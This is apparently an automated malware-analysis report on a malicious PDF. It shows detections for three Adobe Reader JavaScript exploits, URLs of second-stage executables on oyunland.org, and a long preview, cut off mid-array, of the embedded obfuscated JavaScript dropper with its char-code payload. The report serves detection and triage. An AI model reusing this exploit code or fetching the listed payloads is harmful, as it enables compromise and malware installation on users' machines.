PDF malware analysis — malicious · 7c05fa5901791634

MALICIOUS

PDF

76.0 KB Created: 2010-01-05 19:43:98 Authoring application: PDF Library 3.8.2 (via PDF Library 5.3.3) First seen: 2012-07-12

MD5: 269164ec2ce7335ba0b532618ecb80c5 SHA-1: 14dd758acac9b48e7b39733d0b4d8adb1a33ef85 SHA-256: 7c05fa590179163440ad279fd769c8dfcc60e0e441af75166560793513d18b4a

590 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF contains obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2007-5659, CVE-2008-2992, and CVE-2009-0927. The script is designed to download and execute a second-stage payload from URLs hosted on 'oyunland.org'. The embedded JavaScript functionality and the nature of the exploit kit strongly indicate a malicious intent to compromise the user's system.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://oyunland.org/fragus/zjty2.exe Referenced by PDF JavaScript
- http://oyunland.org/fragus/click.php?r=Referenced by PDF JavaScript
- http://oyunland.org/fragus/dhjnp2.exeReferenced by PDF JavaScript
- http://oyunland.org/fragus/fmpxy2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38413 bytes
SHA-256: `0875c1bd8f3a1a1a99841d4fca28ec65b5948531741e09d363f4174ec6c3bd6a`
Preview script First 1,000 lines of the extracted script var bqsx=50893;zujf="";hlst="hlst";bfhw=false;uklzmr="";lpizgr="";gikqu='';chipt="chipt";dkmvy='';cfswx=10250;var dhmnxy=false,cdit=true,ceimo=0,bfkux=String,dfgk=bfkux['fLrUoUm4C4hUavrUCUovdReU'.replace(/[ULR4v]/g,'')],celpu=String,adiltv=celpu['ezvzaOlT'.replace(/[TWOzx]/g,'')],bjkrsy="4",zsie="",eijq=[65,62,61,154,169,162,151,168,157,163,162,84,154,157,172,147,157,168,92,173,149,166,167,164,96,84,160,153,162,93,175,65,62,61,61,171,156,157,160,153,84,92,173,149,166,167,164,98,160,153,162,155,168,156,84,94,84,102,84,112,84,160,153,162,93,175,65,62,61,61,61,173,149,166,167,164,84,95,113,84,173,149,166,167,164,111,65,62,61,61,177,65,62,61,61,173,149,166,167,164,84,113,84,173,149,166,167,164,98,167,169,150,167,168,166,157,162,155,92,100,96,84,160,153,162,99,102,93,111,65,62,61,61,166,153,168,169,166,162,84,173,149,166,167,164,111,65,62,61,177,65,62,65,62,61,154,169,162,151,168,157,163,162,84,169,168,157,160,147,164,166,157,162,168,154,92,93,175,65,62,61,61,170,149,166,84,164,149,173,160,163,149,152,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,121,118,121,109,89,169,100,100,100,101,89,169,105,106,100,100,89,169,117,101,106,104,89,169,100,100,103,100,89,169,100,100,100,100,89,169,104,100,108,118,89,169,108,118,100,119,89,169,101,119,107,100,89,169,108,118,117,120,89,169,100,108,104,100,89,169,119,103,105,121,89,169,108,118,105,105,89,169,108,118,121,119,89,169,100,108,104,105,89,169,103,103,105,102,89,169,119,101,120,102,89,169,100,103,119,102,89,169,101,100,103,102,89,169,108,100,104,100,89,169,100,100,103,108,89,169,122,105,107,105,89,169,119,102,108,118,89,169,105,120,105,117,89,169,100,104,119,102,89,169,105,105,100,100,89,169,121,119,108,118,89,169,105,101,105,101,89,169,105,106,105,103,89,169,106,100,105,107,89,169,105,120,108,118,89,169,103,103,100,108,89,169,108,118,119,100,89,169,100,119,107,105,89,169,122,121,108,118,89,169,107,106,100,103,89,169,108,118,103,119,89,169,107,108,104,121,89,169,119,122,100,103,89,169,105,101,108,118,89,169,105,102,101,119,89,169,105,101,108,118,89,169,105,102,102,104,89,169,107,101,108,118,89,169,104,121,101,104,89,169,107,105,108,109,89,169,108,118,122,119,89,169,102,100,107,101,89,169,122,107,100,103,89,169,104,117,109,109,89,169,104,102,117,120,89,169,103,118,106,100,89,169,122,119,105,105,89,169,100,104,107,105,89,169,119,100,103,103,89,169,103,107,121,118,89,169,122,122,103,103,89,169,104,105,100,103,89,169,109,107,100,119,89,169,119,122,108,118,89,169,107,105,117,121,89,169,102,118,122,120,89,169,104,122,122,109,89,169,121,108,105,101,89,169,122,122,109,104,89,169,122,122,122,122,89,169,119,103,103,118,89,169,107,104,106,101,89,169,121,118,100,102,89,169,108,118,120,109,89,169,100,119,104,105,89,169,105,121,109,102,89,169,122,102,100,103,89,169,121,100,120,101,89,169,119,106,100,103,89,169,119,109,103,103,89,169,118,107,100,122,89,169,105,122,100,108,89,169,121,101,119,101,89,169,100,103,100,102,89,169,100,103,119,117,89,169,108,118,119,122,89,169,100,103,100,101,89,169,108,109,119,102,89,169,122,108,104,105,89,169,108,118,106,101,89,169,122,108,104,105,89,169,105,121,105,122,89,169,119,109,105,118,89,169,105,105,119,103,89,169,121,119,108,118,89,169,121,108,105,101,89,169,122,122,104,109,89,169,122,122,122,122,89,169,106,108,105,100,89,169,106,100,121,108,89,169,100,104,118,122,89,169,106,119,121,108,89,169,122,122,122,122,89,169,103,103,122,122,89,169,105,102,120,102,89,169,122,122,105,102,89,169,100,108,107,105,89,169,120,100,122,122,89,169,104,105,108,109,89,169,108,118,122,119,89,169,122,119,104,105,89,169,119,103,119,109,89,169,108,118,105,105,89,169,108,103,121,119,89,169,100,119,121,119,89,169,104,105,108,120,89,169,105,100,122,104,89,169,104,105,119,106,89,169,107,105,122,104,89,169,104,105,119,106,89,169,107,102,122,105,89,169,104,105,119,106,89,169,106,119,122,106,89,169,104,105,119,106,89,169,106,120,122,107,89,169,104,105,119,106,89,169,106,122,122,108,89,169,104,105,119,106,89,169,106,121,122,109,89,169,104,105,119,106,89,169,102,121,122,117,89,169,104,105,119,106,89,169,106,104,122,118,89,169,104,105,119,106,89,169,106,119,122,119,89,169,104,105,119,106,89,169,106,119,122,120,89,169,104,105,119,106,89,169,100,100,122,121,89,169,117,100,121,108,89,169,122,122,122,122,89,169,105,100,122,122,89,169,105,120,106,108,89,169,101,101,108,117,89,169,121,108,101,106,89,169,122,122,101,105,89,169,122,122,122,122,89,169,119,104,108,103,89,169,108,105,100,119,89,169,107,104,119,100,89,169,106,117,101,105,89,169,106,117,100,100,89,169,122,122,100,100,89,169,100,119,107,105,89,169,107,105,122,122,89,169,106,117,100,108,89,169,122,122,100,100,89,169,108,105,120,100,89,169,107,105,119,100,89,169,104,100,100,103,89,169,119,103,119,109,89,169,119,100,103,103,89,169,119,103,119,109,89,169,103,103,105,107,89,169,108,118,119,100,89,169,102,104,104,119,89,169,108,118,100,119,89,169,102,104,107,119,89,169,122,119,100,108,89,169,117,117,122,103,89,169,119,103,105,122,89,169,104,119,108,118,89,169,100,104,102,104,89,169,103,109,108,100,89,169,108,118,100,100,89,169,107,104,119,101,89,169,104,100,100,106,89,169,103,108,108,100,89,169,107,105,100,100,89,169,102,118,122,117,89,169,119,103,119,101,89,169,108,118,105,105,89,169,108,103,121,119,89,169,106,104,121,119,89,169,108,120,105,103,89,169,122,100,104,105,89,169,103,103,105,107,89,169,105,100,120,118,89,169,104,105,119,106,89,169,106,118,122,100,89,169,104,105,119,106,89,169,106,105,122,101,89,169,104,105,119,106,89,169,107,102,122,102,89,169,104,105,119,106,89,169,106,121,122,103,89,169,104,105,119,106,89,169,106,105,122,104,89,169,104,105,119,106,89,169,106,119,122,105,89,169,104,105,119,106,89,169,103,103,122,106,89,169,104,105,119,106,89,169,103,102,122,107,89,169,104,105,119,106,89,169,102,121,122,108,89,169,104,105,119,106,89,169,106,104,122,109,89,169,104,105,119,106,89,169,106,119,122,117,89,169,104,105,119,106,89,169,106,119,122,118,89,169,105,120,108,108,89,169,121,108,122,119,89,169,122,122,100,118,89,169,122,122,122,122,89,169,106,108,105,100,89,169,104,103,106,108,89,169,108,121,122,109,89,169,108,100,121,108,89,169,122,122,122,121,89,169,108,118,122,122,89,169,108,120,122,108,89,169,109,119,104,105,89,169,104,104,106,117,89,169,121,108,105,100,89,169,122,122,107,121,89,169,122,122,122,122,89,169,104,105,108,120,89,169,106,117,121,100,89,169,105,100,101,100,89,169,107,103,121,108,89,169,122,122,122,122,89,169,108,103,122,122,89,169,101,119,119,104,89,169,104,105,108,120,89,169,105,100,121,100,89,169,104,105,108,120,89,169,105,100,109,119,89,169,105,103,105,103,89,169,105,103,105,103,89,169,105,103,105,103,89,169,107,105,122,122,89,169,119,107,100,108,89,169,109,119,104,105,89,169,100,100,104,104,89,169,100,100,100,100,89,169,122,122,105,103,89,169,105,122,120,107,89,169,118,106,100,122,89,169,105,118,119,100,89,169,119,103,119,109,89,169,108,118,105,105,89,169,105,101,121,119,89,169,105,103,105,101,89,169,105,107,105,106,89,169,104,102,106,117,89,169,107,102,121,108,89,169,100,100,100,100,89,169,108,118,100,100,89,169,103,103,120,108,89,169,108,105,122,106,89,169,105,109,120,118,89,169,104,105,119,107,89,169,106,101,122,108,89,169,106,105,102,121,89,169,119,107,107,108,89,169,122,119,104,105,89,169,100,100,106,105,89,169,100,100,100,100,89,169,105,106,107,121,89,169,104,105,108,120,89,169,105,100,122,108,89,169,121,108,105,106,89,169,100,100,105,101,89,169,100,100,100,100,89,169,105,100,105,109,89,169,118,101,121,108,89,169,122,122,122,121,89,169,108,105,122,122,89,169,105,109,119,100,89,169,107,104,105,109,89,169,108,120,103,109,89,169,100,101,104,106,89,169,121,108,105,100,89,169,100,100,103,118,89,169,100,100,100,100,89,169,122,108,108,118,89,169,104,105,108,120,89,169,105,100,122,108,89,169,102,101,121,108,89,169,122,122,122,122,89,169,108,105,122,122,89,169,105,109,119,100,89,169,107,104,105,109,89,169,105,107,100,119,89,169,100,101,121,108,89,169,122,122,122,122,89,169,105,109,122,122,89,169,104,104,119,106,89,169,122,122,103,108,89,169,105,100,107,103,89,169,104,105,108,120,89,169,122,121,122,108,89,169,105,108,100,100,89,169,104,105,108,120,89,169,105,100,122,108,89,169,121,108,105,107,89,169,122,121,107,104,89,169,122,122,122,122,89,169,105,109,105,109,89,169,104,106,104,106,89,169,122,103,103,118,89,169,117,117,107,119,89,169,105,121,105,122,89,169,119,109,105,118,89,169,105,105,119,103,89,169,121,119,108,118,89,169,105,103,105,101,89,169,106,100,106,106,89,169,103,102,118,101,89,169,100,100,121,108,89,169,100,100,100,100,89,169,105,108,100,100,89,169,100,108,103,108,89,169,100,103,107,104,89,169,121,118,104,100,89,169,104,100,122,109,89,169,105,120,108,118,89,169,108,100,100,108,89,169,104,102,122,118,89,169,100,108,107,105,89,169,120,118,103,103,89,169,101,108,108,117,89,169,119,103,108,118,89,169,101,107,121,118,89,169,101,108,103,108,89,169,101,101,107,106,89,169,103,103,104,100,89,169,108,104,119,109,89,169,107,104,120,118,89,169,104,100,100,119,89,169,100,108,103,108,89,169,122,118,107,105,89,169,122,121,104,100,89,169,121,118,119,118,89,169,103,103,122,102,89,169,108,109,119,100,89,169,122,119,104,105,89,169,104,105,108,118,89,169,105,118,122,119,89,169,119,103,119,109,89,169,100,102,103,102,89,169,107,104,106,108,89,169,107,100,107,104,89,169,102,122,103,117,89,169,106,122,102,122,89,169,107,105,107,109,89,169,106,119,106,121,89,169,106,121,106,101,89,169,102,121,106,104,89,169,107,102,106,122,89,169,102,122,106,107,89,169,107,102,106,106,89,169,106,107,106,101,89,169,107,103,107,105,89,169,107,117,102,122,89,169,107,104,106,117,89,169,103,102,107,109,89,169,106,105,102,121,89,169,106,105,107,108,89,169,106,108,100,100,89,169,107,104,107,104,89,169,103,117,107,100,89,169,102,122,102,122,89,169,107,109,106,122,89,169,106,121,107,105,89,169,106,101,106,119,89,169,106,104,106,121,89,169,106,122,102,121,89,169,106,107,107,102,89,169,106,106,102,122,89,169,106,101,107,102,89,169,107,105,106,107,89,169,102,122,107,103,89,169,106,119,106,103,89,169,106,103,106,109,89,169,102,121,106,118,89,169,106,108,107,100,89,169,103,122,107,100,89,169,103,120,107,102,89,169,100,100,100,100,86,93,111,65,62,61,61,170,149,166,84,162,163,164,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,100,117,100,117,89,169,100,117,100,117,89,169,100,117,100,117,89,169,100,117,100,117,86,93,65,62,61,61,170,149,166,84,156,153,149,164,150,160,163,151,159,84,113,84,162,163,164,84,95,84,164,149,173,160,163,149,152,111,65,62,61,61,170,149,166,84,150,157,155,150,160,163,151,159,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,100,117,100,117,89,169,100,117,100,117,86,93,111,65,62,61,61,170,149,166,84,156,153,149,152,153,166,167,157,174,153,84,113,84,102,100,111,65,62,61,61,170,149,166,84,167,164,166,149,173,84,113,84,156,153,149,152,153,166,167,157,174,153,84,95,84,156,153,149,164,150,160,163,151,159,98,160,153,162,155,168,156,111,65,62,61,61,171,156,157,160,153,84,92,150,157,155,150,160,163,151,159,98,160,153,162,155,168,156,84,112,84,167,164,166,149,173,93,175,65,62,61,61,61,150,157,155,150,160,163,151,159,84,95,113,84,150,157,155,150,160,163,151,159,111,65,62,61,61,177,65,62,61,61,170,149,166,84,154,157,160,160,150,160,163,151,159,84,113,84,150,157,155,150,160,163,151,159,98,167,169,150,167,168,166,157,162,155,92,100,96,84,167,164,166,149,173,93,111,65,62,61,61,170,149,166,84,150,160,163,151,159,84,113,84,150,157,155,150,160,163,151,159,98,167,169,150,167,168,166,157,162,155,92,100,96,84,150,157,155,150,160,163,151,159,98,160,153,162,155,168,156,97,167,164,166,149,173,93,111,65,62,61,61,171,156,157,160,153,84,92,150,160,163,151,159,98,160,153,162,155,168,156,95,167,164,166,149,173,84,112,84,100,172,104,100,100,100,100,93,175,65,62,61,61,61,150,160,163,151,159,84,113,84,150,160,163,151,159,84,95,84,150,160,163,151,159,84,95,84,154,157,160,160,150,160,163,151,159,111,65,62,61,61,177,65,62,61,61,170,149,166,84,161,153,161,147,149,166,166,149,173,84,113,84,162,153,171,84,117,166,166,149,173,92,93,111,65,62,61,61,154,163,166,84,92,170,149,166,84,157,84,113,84,100,111,84,157,84,112,84,101,104,100,100,111,84,157,95,95,93,175,65,62,61,61,61,161,153,161,147,149,166,166,149,173,143,157,145,84,113,84,150,160,163,151,159,84,95,84,156,153,149,164,150,160,163,151,159,111,65,62,61,61,177,65,62,61,61,170,149,166,84,162,169,161,84,113,84,101,102,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,109,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,108,111,65,62,61,61,169,168,157,160,98,164,166,157,162,168,154,92,86,89,104,105,100,100,100,154,86,96,84,162,169,161,93,111,65,62,61,177,65,62,65,62,61,154,169,162,151,168,157,163,162,84,151,163,160,160,149,150,147,153,161,149,157,160,92,93,175,65,62,61,61,170,149,166,84,167,156,153,160,160,151,163,152,153,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,121,118,121,109,89,169,100,100,100,101,89,169,105,106,100,100,89,169,117,101,106,104,89,169,100,100,103,100,89,169,100,100,100,100,89,169,104,100,108,118,89,169,108,118,100,119,89,169,101,119,107,100,89,169,108,118,117,120,89,169,100,108,104,100,89,169,119,103,105,121,89,169,108,118,105,105,89,169,108,118,121,119,89,169,100,108,104,105,89,169,103,103,105,102,89,169,119,101,120,102,89,169,100,103,119,102,89,169,101,100,103,102,89,169,108,100,104,100,89,169,100,100,103,108,89,169,122,105,107,105,89,169,119,102,108,118,89,169,105,120,105,117,89,169,100,104,119,102,89,169,105,105,100,100,89,169,121,119,108,118,89,169,105,101,105,101,89,169,105,106,105,103,89,169,106,100,105,107,89,169,105,120,108,118,89,169,103,103,100,108,89,169,108,118,119,100,89,169,100,119,107,105,89,169,122,121,108,118,89,169,107,106,100,103,89,169,108,118,103,119,89,169,107,108,104,121,89,169,119,122,100,103,89,169,105,101,108,118,89,169,105,102,101,119,89,169,105,101,108,118,89,169,105,102,102,104,89,169,107,101,108,118,89,169,104,121,101,104,89,169,107,105,108,109,89,169,108,118,122,119,89,169,102,100,107,101,89,169,122,107,100,103,89,169,104,117,109,109,89,169,104,102,117,120,89,169,103,118,106,100,89,169,122,119,105,105,89,169,100,104,107,105,89,169,119,100,103,103,89,169,103,107,121,118,89,169,122,122,103,103,89,169,104,105,100,103,89,169,109,107,100,119,89,169,119,122,108,118,89,169,107,105,117,121,89,169,102,118,122,120,89,169,104,122,122,109,89,169,121,108,105,101,89,169,122,122,109,104,89,169,122,122,122,122,89,169,119,103,103,118,89,169,107,104,106,101,89,169,121,118,100,102,89,169,108,118,120,109,89,169,100,119,104,105,89,169,105,121,109,102,89,169,122,102,100,103,89,169,121,100,120,101,89,169,119,106,100,103,89,169,119,109,103,103,89,169,118,107,100,122,89,169,105,122,100,108,89,169,121,101,119,101,89,169,100,103,100,102,89,169,100,103,119,117,89,169,108,118,119,122,89,169,100,103,100,101,89,169,108,109,119,102,89,169,122,108,104,105,89,169,108,118,106,101,89,169,122,108,104,105,89,169,105,121,105,122,89,169,119,109,105,118,89,169,105,105,119,103,89,169,121,119,108,118,89,169,121,108,105,101,89,169,122,122,104,109,89,169,122,122,122,122,89,169,106,108,105,100,89,169,106,100,121,108,89,169,100,104,118,122,89,169,106,119,121,108,89,169,122,122,122,122,89,169,103,103,122,122,89,169,105,102,120,102,89,169,122,122,105,102,89,169,100,108,107,105,89,169,120,100,122,122,89,169,104,105,108,109,89,169,108,118,122,119,89,169,122,119,104,105,89,169,119,103,119,109,89,169,108,118,105,105,89,169,108,103,121,119,89,169,100,119,121,119,89,169,104,105,108,120,89,169,105,100,122,104,89,169,104,105,119,106,89,169,107,105,122,104,89,169,104,105,119,106,89,169,107,102,122,105,89,169,104,105,119,106,89,169,106,119,122,106,89,169,104,105,119,106,89,169,106,120,122,107,89,169,104,105,119,106,89,169,106,122,122,108,89,169,104,105,119,106,89,169,106,121,122,109,89,169,104,105,119,106,89,169,102,121,122,117,89,169,104,105,119,106,89,169,106,104,122,118,89,169,104,105,119,106,89,169,106,119,122,119,89,169,104,105,119,106,89,169,106,119,122,120,89,169,104,105,119,106,89,169,100,100,122,121,89,169,117,100,121,108,89,169,122,122,122,122,89,169,105,100,122,122,89,169,105,120,106,108,89,169,101,101,108,117,89,169,121,108,101,106,89,169,122,122,101,105,89,169,122,122,122,122,89,169,119,104,108,103,89,169,108,105,100,119,89,169,107,104,119,100,89,169,106,117,101,105,89,169,106,117,100,100,89,169,122,122,100,100,89,169,100,119,107,105,89,169,107,105,122,122,89,169,106,117,100,108,89,169,122,122,100,100,89,169,108,105,120,100,89,169,107,105,119,100,89,169,104,100,100,103,89,169,119,103,119,109,89,169,119,100,103,103,89,169,119,103,119,109,89,169,103,103,105,107,89,169,108,118,119,100,89,169,102,104,104,119,89,169,108,118,100,119,89,169,102,104,107,119,89,169,122,119,100,108,89,169,117,117,122,103,89,169,119,103,105,122,89,169,104,119,108,118,89,169,100,104,102,104,89,169,103,109,108,100,89,169,108,118,100,100,89,169,107,104,119,101,89,169,104,100,100,106,89,169,103,108,108,100,89,169,107,105,100,100,89,169,102,118,122,117,89,169,119,103,119,101,89,169,108,118,105,105,89,169,108,103,121,119,89,169,106,104,121,119,89,169,108,120,105,103,89,169,122,100,104,105,89,169,103,103,105,107,89,169,105,100,120,118,89,169,104,105,119,106,89,169,106,118,122,100,89,169,104,105,119,106,89,169,106,105,122,101,89,169,104,105,119,106,89,169,107,102,122,102,89,169,104,105,119,106,89,169,106,121,122,103,89,169,104,105,119,106,89,169,106,105,122,104,89,169,104,105,119,106,89,169,106,119,122,105,89,169,104,105,119,106,89,169,103,103,122,106,89,169,104,105,119,106,89,169,103,102,122,107,89,169,104,105,119,106,89,169,102,121,122,108,89,169,104,105,119,106,89,169,106,104,122,109,89,169,104,105,119,106,89,169,106,119,122,117,89,169,104,105,119,106,89,169,106,119,122,118,89,169,105,120,108,108,89,169,121,108,122,119,89,169,122,122,100,118,89,169,122,122,122,122,89,169,106,108,105,100,89,169,104,103,106,108,89,169,108,121,122,109,89,169,108,100,121,108,89,169,122,122,122,121,89,169,108,118,122,122,89,169,108,120,122,108,89,169,109,119,104,105,89,169,104,104,106,117,89,169,121,108,105,100,89,169,122,122,107,121,89,169,122,122,122,122,89,169,104,105,108,120,89,169,106,117,121,100,89,169,105,100,101,100,89,169,107,103,121,108,89,169,122,122,122,122,89,169,108,103,122,122,89,169,101,119,119,104,89,169,104,105,108,120,89,169,105,100,121,100,89,169,104,105,108,120,89,169,105,100,109,119,89,169,105,103,105,103,89,169,105,103,105,103,89,169,105,103,105,103,89,169,107,105,122,122,89,169,119,107,100,108,89,169,109,119,104,105,89,169,100,100,104,104,89,169,100,100,100,100,89,169,122,122,105,103,89,169,105,122,120,107,89,169,118,106,100,122,89,169,105,118,119,100,89,169,119,103,119,109,89,169,108,118,105,105,89,169,105,101,121,119,89,169,105,103,105,101,89,169,105,107,105,106,89,169,104,102,106,117,89,169,107,102,121,108,89,169,100,100,100,100,89,169,108,118,100,100,89,169,103,103,120,108,89,169,108,105,122,106,89,169,105,109,120,118,89,169,104,105,119,107,89,169,106,101,122,108,89,169,106,105,102,121,89,169,119,107,107,108,89,169,122,119,104,105,89,169,100,100,106,105,89,169,100,100,100,100,89,169,105,106,107,121,89,169,104,105,108,120,89,169,105,100,122,108,89,169,121,108,105,106,89,169,100,100,105,101,89,169,100,100,100,100,89,169,105,100,105,109,89,169,118,101,121,108,89,169,122,122,122,121,89,169,108,105,122,122,89,169,105,109,119,100,89,169,107,104,105,109,89,169,108,120,103,109,89,169,100,101,104,106,89,169,121,108,105,100,89,169,100,100,103,118,89,169,100,100,100,100,89,169,122,108,108,118,89,169,104,105,108,120,89,169,105,100,122,108,89,169,102,101,121,108,89,169,122,122,122,122,89,169,108,105,122,122,89,169,105,109,119,100,89,169,107,104,105,109,89,169,105,107,100,119,89,169,100,101,121,108,89,169,122,122,122,122,89,169,105,109,122,122,89,169,104,104,119,106,89,169,122,122,103,108,89,169,105,100,107,103,89,169,104,105,108,120,89,169,122,121,122,108,89,169,105,108,100,100,89,169,104,105,108,120,89,169,105,100,122,108,89,169,121,108,105,107,89,169,122,121,107,104,89,169,122,122,122,122,89,169,105,109,105,109,89,169,104,106,104,106,89,169,122,103,103,118,89,169,117,117,107,119,89,169,105,121,105,122,89,169,119,109,105,118,89,169,105,105,119,103,89,169,121,119,108,118,89,169,105,103,105,101,89,169,106,100,106,106,89,169,103,102,118,101,89,169,100,100,121,108,89,169,100,100,100,100,89,169,105,108,100,100,89,169,100,108,103,108,89,169,100,103,107,104,89,169,121,118,104,100,89,169,104,100,122,109,89,169,105,120,108,118,89,169,108,100,100,108,89,169,104,102,122,118,89,169,100,108,107,105,89,169,120,118,103,103,89,169,101,108,108,117,89,169,119,103,108,118,89,169,101,107,121,118,89,169,101,108,103,108,89,169,101,101,107,106,89,169,103,103,104,100,89,169,108,104,119,109,89,169,107,104,120,118,89,169,104,100,100,119,89,169,100,108,103,108,89,169,122,118,107,105,89,169,122,121,104,100,89,169,121,118,119,118,89,169,103,103,122,102,89,169,108,109,119,100,89,169,122,119,104,105,89,169,104,105,108,118,89,169,105,118,122,119,89,169,119,103,119,109,89,169,100,102,103,102,89,169,107,104,106,108,89,169,107,100,107,104,89,169,102,122,103,117,89,169,106,122,102,122,89,169,107,105,107,109,89,169,106,119,106,121,89,169,106,121,106,101,89,169,102,121,106,104,89,169,107,102,106,122,89,169,102,122,106,107,89,169,107,102,106,106,89,169,106,107,106,101,89,169,107,103,107,105,89,169,106,104,102,122,89,169,106,117,106,108,89,169,107,100,106,121,89,169,102,121,103,102,89,169,107,108,106,105,89,169,100,100,106,105,89,169,107,104,106,108,89,169,107,100,107,104,89,169,102,122,103,117,89,169,106,122,102,122,89,169,107,105,107,109,89,169,106,119,106,121,89,169,106,121,106,101,89,169,102,121,106,104,89,169,107,102,106,122,89,169,102,122,106,107,89,169,107,102,106,106,89,169,106,107,106,101,89,169,107,103,107,105,89,169,106,103,102,122,89,169,106,109,106,119,89,169,106,118,106,103,89,169,107,100,102,121,89,169,107,100,106,108,89,169,107,102,103,122,89,169,100,100,103,120,86,93,111,65,62,61,61,170,149,166,84,161,153,161,147,149,166,166,149,173,84,113,84,162,153,171,84,117,166,166,149,173,92,93,111,65,62,61,61,170,149,166,84,151,151,84,113,84,100,172,100,151,100,151,100,151,100,151,111,65,62,61,61,170,149,166,84,149,152,152,166,84,113,84,100,172,104,100,100,100,100,100,111,65,62,61,61,170,149,166,84,167,151,147,160,153,162,84,113,84,167,156,153,160,160,151,163,152,153,98,160,153,162,155,168,156,84,94,84,102,111,65,62,61,61,170,149,166,84,160,153,162,84,113,84,149,152,152,166,84,97,84,92,167,151,147,160,153,162,95,100,172,103,108,93,111,65,62,61,61,170,149,166,84,173,149,166,167,164,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,109,100,109,100,89,169,109,100,109,100,86,93,111,65,62,61,61,173,149,166,167,164,84,113,84,154,157,172,147,157,168,92,173,149,166,167,164,96,84,160,153,162,93,111,65,62,61,61,170,149,166,84,151,163,169,162,168,102,84,113,84,92,151,151,84,97,84,100,172,104,100,100,100,100,100,93,99,149,152,152,166,111,65,62,61,61,154,163,166,84,92,170,149,166,84,151,163,169,162,168,84,113,84,100,111,84,151,163,169,162,168,84,112,84,151,163,169,162,168,102,111,84,151,163,169,162,168,95,95,93,175,65,62,61,61,61,161,153,161,147,149,166,166,149,173,143,151,163,169,162,168,145,84,113,84,173,149,166,167,